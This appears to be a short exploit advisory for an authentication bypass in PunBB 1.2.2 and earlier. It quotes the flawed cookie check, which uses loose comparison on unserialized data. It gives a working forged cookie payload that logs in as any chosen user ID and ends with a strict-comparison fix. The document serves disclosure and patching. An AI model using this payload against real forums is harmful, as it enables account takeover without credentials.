#   PunBB version <= 1.2.2 auth bypass exploit
#
# -------------------------------------------------
# About vuln:
# lets look file /include/functions.php
# ### code start ###
# function check_cookie(&$pun_user)
# {
# ...
# if (isset($_COOKIE[$cookie_name]))
# list($cookie['user_id'], $cookie['password_hash']) = @unserialize($_COOKIE[$cookie_name]);
#
# if ($cookie['user_id'] > 1)
# {
# // Check if there's a user with the user ID and password hash from the cookie
# $result = $db->query('SELECT .... tra-la-la... );
# $pun_user = $db->fetch_assoc($result);
# 
# // If user authorisation failed
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) != $cookie['password_hash'])
# ...                                                                    ^^^ HERE !!!
# ### code end ###
# and we can logging with any user id if we use boolean value in cookie password_hash 
# evil cookie is : a:2:{i:0;s:1:"2";i:1;b:1;} where 2 is user id
# 
# fix:
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) != $cookie['password_hash'])
# change to
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) !== $cookie['password_hash'])
